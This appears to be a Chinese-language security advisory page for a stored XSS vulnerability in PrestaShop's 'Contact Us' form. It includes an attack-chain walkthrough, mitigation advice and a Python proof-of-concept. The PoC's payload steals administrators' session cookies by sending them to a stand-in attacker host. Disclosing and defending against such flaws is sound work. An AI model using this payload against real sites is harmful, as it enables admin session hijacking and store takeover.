CVE-2026-44212 CVSS 9.3 严重

CVE-2026-44212 PrestaShop存储型XSS漏洞

披露日期: 2026-05-14

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-44212

漏洞类型

存储型跨站脚本

CVSS评分

9.3 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

PrestaShop

漏洞概述

PrestaShop是一款开源电子商务Web应用。在8.2.6和9.1.1版本之前，其后台客户服务视图存在存储型跨站脚本（XSS）漏洞。未认证攻击者可利用公共“联系我们”表单，在邮件地址字段提交恶意载荷。该载荷存储于数据库，当后台管理员查看客户服务线程时触发执行，从而导致会话劫持及后台完全接管风险。

技术细节

该漏洞属于存储型跨站脚本攻击，根本原因在于PrestaShop未能对公共“联系我们”表单中的电子邮件地址字段进行充分的输入验证和输出编码。攻击者无需任何认证权限，只需构造包含JavaScript恶意代码的电子邮件地址并发送请求，系统后端会将该数据原样持久化存储在数据库中。当后台管理员或客服人员登录系统并打开“客户服务”模块查看该特定消息线程时，应用程序会从数据库检索该恶意邮件地址并渲染到HTML页面中。由于缺乏适当的上下文感知编码，浏览器将解析并执行其中的脚本。此时，攻击者可利用注入的脚本窃取管理员的Session ID或Cookie，进而利用窃取的身份凭证绕过认证机制，最终获得后台管理权限，执行任意操作。

攻击链分析

STEP 1

1. 侦察

攻击者发现目标PrestaShop站点开启了公共“联系我们”功能。

STEP 2

2. 载荷注入

攻击者在“联系我们”表单的电子邮件地址字段中输入包含XSS Payload的恶意数据（如：<script>...）并提交。

STEP 3

3. 数据存储

服务器端未对邮箱字段进行足够的过滤，将恶意数据直接存储在数据库的客户服务记录中。

STEP 4

4. 触发漏洞

后台管理员或员工在Back-office（后台）的客户服务视图中打开包含该恶意邮件的工单线程。

STEP 5

5. 代码执行

浏览器渲染页面时解析恶意脚本，执行攻击者预设的JavaScript代码（如发送Cookie到攻击者服务器）。

STEP 6

6. 系统接管

攻击者利用窃取的Session Cookie接管管理员会话，获得后台完全控制权限。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL (Contact Us form)
target_url = "http://example.com/contact-us"

# Malicious payload injected into the email field
# Payload uses an image tag with onerror to execute JS, stealing cookies
xss_payload = '"><img src=x onerror="fetch(\'http://attacker-server.com/log?c=\'+document.cookie)"><"@evil.com'

# Form data usually required by PrestaShop contact form
form_data = {
    "id_contact": "2",  # ID for Customer Service department
    "from": xss_payload, # The vulnerable field
    "message": "I need help with my order immediately.",
    "submitMessage": "Send"
}

try:
    response = requests.post(target_url, data=form_data)
    if response.status_code == 200:
        print("[+] Payload sent successfully!")
        print("[+] Wait for an admin to view the thread in the back-office.")
    else:
        print("[-] Failed to send payload.")
except Exception as e:
    print(f"Error: {e}")

影响范围

PrestaShop < 8.2.6

PrestaShop < 9.1.1

防御指南

临时缓解措施

如果无法立即升级，建议在服务器端对“联系我们”表单提交的电子邮件地址实施严格的正则表达式验证，仅允许合法的邮件字符。同时，建议后台管理员在处理客户邮件时暂时使用不记录敏感会话信息的隔离浏览器环境，直到补丁应用完成。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表